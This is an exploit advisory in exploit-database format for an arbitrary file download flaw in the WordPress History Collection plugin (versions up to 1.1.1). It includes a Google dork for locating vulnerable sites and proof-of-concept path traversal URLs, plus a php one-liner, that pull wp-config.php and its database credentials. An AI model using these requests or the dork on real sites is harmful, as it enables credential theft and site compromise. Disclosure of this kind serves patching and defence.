WordPress Plugin History Collection 1.1.1 - Arbitrary File Download

# Exploit Title: Wordpress History Collection <=1.1.1 Arbitraty File
Download
# Google Dork: inurl:plugins/history-collection
# Date: 10/06/2015
# Exploit Author: Kuroi'SH
# Software Link: https://wordpress.org/plugins/history-collection/
# Version: <=1.1.1
# Tested on: Linux

I-Description:
Wordpress history collection plugin contains a file called download.php
which is not filtering the GET input, it then uses this get input value to
force the download of a file.
(download.php, line 44):
header("Content-Disposition: attachment;
filename=\"".basename($filename)."\";" );
2:Proof of concept:
http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=yourfile
http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php
php -r "echo @file_get_contents('
http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php')
;"

Greetz:
Moh Ooasiic, Virus Os, Black Sniper, T3N38R15, Green Ghost, n37_worm,
MuhmadEmad, redsm0ke
By Kuroi'SH